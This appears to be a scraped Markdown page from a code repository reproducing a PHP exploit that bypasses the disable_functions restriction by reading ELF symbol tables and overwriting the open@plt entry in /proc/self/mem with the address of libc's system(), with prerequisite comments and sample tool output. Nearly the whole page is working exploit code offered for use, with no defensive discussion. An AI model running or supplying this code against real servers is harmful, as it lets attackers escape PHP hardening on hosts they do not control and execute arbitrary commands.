134 lines
5.0 KiB
Markdown
134 lines
5.0 KiB
Markdown
![]() |
# disable\_functions bypass - via mem
|
|||
|
|
|||
|
## via mem
|
|||
|
|
|||
|
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
|||
|
|
|||
|
```php
|
|||
|
<?php
|
|||
|
/*
|
|||
|
1. kernel>=2.68
|
|||
|
2)PHP-CGI or PHP-FPM)因为mod_php并没有读取/proc/self/mem
|
|||
|
3)代码针对x64编写,要用于x32需要更改
|
|||
|
4)Open_basedir=off(或者能绕过open_basedir读写 /lib/ 和/proc/)
|
|||
|
*/
|
|||
|
/*
|
|||
|
$libc_ver:
|
|||
|
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
|
|||
|
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so
|
|||
|
$open_php:
|
|||
|
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
|
|||
|
0000000000e94998 R_X86_64_JUMP_SLOT open
|
|||
|
$system_offset and $open_offset:
|
|||
|
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
|
|||
|
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
|
|||
|
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
|
|||
|
*/
|
|||
|
function packlli($value) {
|
|||
|
$higher = ($value & 0xffffffff00000000) >> 32;
|
|||
|
$lower = $value & 0x00000000ffffffff;
|
|||
|
return pack('V2', $lower, $higher);
|
|||
|
}
|
|||
|
function unp($value) {
|
|||
|
return hexdec(bin2hex(strrev($value)));
|
|||
|
}
|
|||
|
function parseelf($bin_ver, $rela = false) {
|
|||
|
$bin = file_get_contents($bin_ver);
|
|||
|
$e_shoff = unp(substr($bin, 0x28, 8));
|
|||
|
$e_shentsize = unp(substr($bin, 0x3a, 2));
|
|||
|
$e_shnum = unp(substr($bin, 0x3c, 2));
|
|||
|
$e_shstrndx = unp(substr($bin, 0x3e, 2));
|
|||
|
for($i = 0; $i < $e_shnum; $i += 1) {
|
|||
|
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
|
|||
|
if($sh_type == 11) { // SHT_DYNSYM
|
|||
|
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
|||
|
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
|||
|
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
|
|||
|
}
|
|||
|
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
|
|||
|
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
|||
|
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
|||
|
}
|
|||
|
elseif($rela && $sh_type == 4) { // SHT_RELA
|
|||
|
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
|||
|
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
|||
|
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
|
|||
|
}
|
|||
|
}
|
|||
|
if($rela) {
|
|||
|
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
|
|||
|
$r_offset = unp(substr($bin, $i, 8));
|
|||
|
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
|
|||
|
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
|
|||
|
$name = '';
|
|||
|
$j = $strtab_off + $name_off - 1;
|
|||
|
while($bin[++$j] != "\0") {
|
|||
|
$name .= $bin[$j];
|
|||
|
}
|
|||
|
if($name == 'open') {
|
|||
|
return $r_offset;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
else {
|
|||
|
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
|
|||
|
$name_off = unp(substr($bin, $i, 4));
|
|||
|
$name = '';
|
|||
|
$j = $strtab_off + $name_off - 1;
|
|||
|
while($bin[++$j] != "\0") {
|
|||
|
$name .= $bin[$j];
|
|||
|
}
|
|||
|
if($name == '__libc_system') {
|
|||
|
$system_offset = unp(substr($bin, $i + 8, 8));
|
|||
|
}
|
|||
|
if($name == '__open') {
|
|||
|
$open_offset = unp(substr($bin, $i + 8, 8));
|
|||
|
}
|
|||
|
}
|
|||
|
return array($system_offset, $open_offset);
|
|||
|
}
|
|||
|
}
|
|||
|
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
|
|||
|
if(strpos(php_uname('a'), 'x86_64') === false) {
|
|||
|
echo "[-] This exploit is for x64 Linux. Exiting\n";
|
|||
|
exit;
|
|||
|
}
|
|||
|
if(substr(php_uname('r'), 0, 4) < 2.98) {
|
|||
|
echo "[-] Too old kernel (< 2.98). Might not work\n";
|
|||
|
}
|
|||
|
echo "[*] Trying to get open@plt offset in PHP binary\n";
|
|||
|
$open_php = parseelf('/proc/self/exe', true);
|
|||
|
if($open_php == 0) {
|
|||
|
echo "[-] Failed. Exiting\n";
|
|||
|
exit;
|
|||
|
}
|
|||
|
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
|
|||
|
$maps = file_get_contents('/proc/self/maps');
|
|||
|
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
|
|||
|
echo "[*] Libc location: $r[1]\n";
|
|||
|
echo "[*] Trying to get open and system symbols from Libc\n";
|
|||
|
list($system_offset, $open_offset) = parseelf($r[1]);
|
|||
|
if($system_offset == 0 or $open_offset == 0) {
|
|||
|
echo "[-] Failed. Exiting\n";
|
|||
|
exit;
|
|||
|
}
|
|||
|
echo "[+] Got them. Seeking for address in memory\n";
|
|||
|
$mem = fopen('/proc/self/mem', 'rb');
|
|||
|
fseek($mem, $open_php);
|
|||
|
$open_addr = unp(fread($mem, 8));
|
|||
|
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
|
|||
|
$libc_start = $open_addr - $open_offset;
|
|||
|
$system_addr = $libc_start + $system_offset;
|
|||
|
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
|
|||
|
echo "[*] Rewriting open@plt address\n";
|
|||
|
$mem = fopen('/proc/self/mem', 'wb');
|
|||
|
fseek($mem, $open_php);
|
|||
|
if(fwrite($mem, packlli($system_addr))) {
|
|||
|
echo "[+] Address written. Executing cmd\n";
|
|||
|
readfile('/usr/bin/id');
|
|||
|
exit;
|
|||
|
}
|
|||
|
echo "[-] Write failed. Exiting\n";
|
|||
|
```
|
|||
|
|